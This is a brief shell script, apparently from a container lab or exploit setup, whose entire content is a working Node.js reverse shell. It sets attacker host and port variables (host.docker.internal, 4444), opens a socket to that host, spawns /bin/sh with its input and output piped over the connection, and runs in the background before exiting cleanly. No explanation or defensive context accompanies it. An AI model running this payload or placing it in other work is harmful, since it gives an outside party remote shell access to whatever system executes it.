#!/bin/sh # Configuration ATTACKER_IP="host.docker.internal" ATTACKER_PORT="4444" # Fixed Node.js reverse shell node -e " var net = require('net'); var spawn = require('child_process').spawn; var client = new net.Socket(); client.connect($ATTACKER_PORT, '$ATTACKER_IP', function(){ var sh = spawn('/bin/sh', []); client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); " & exit 0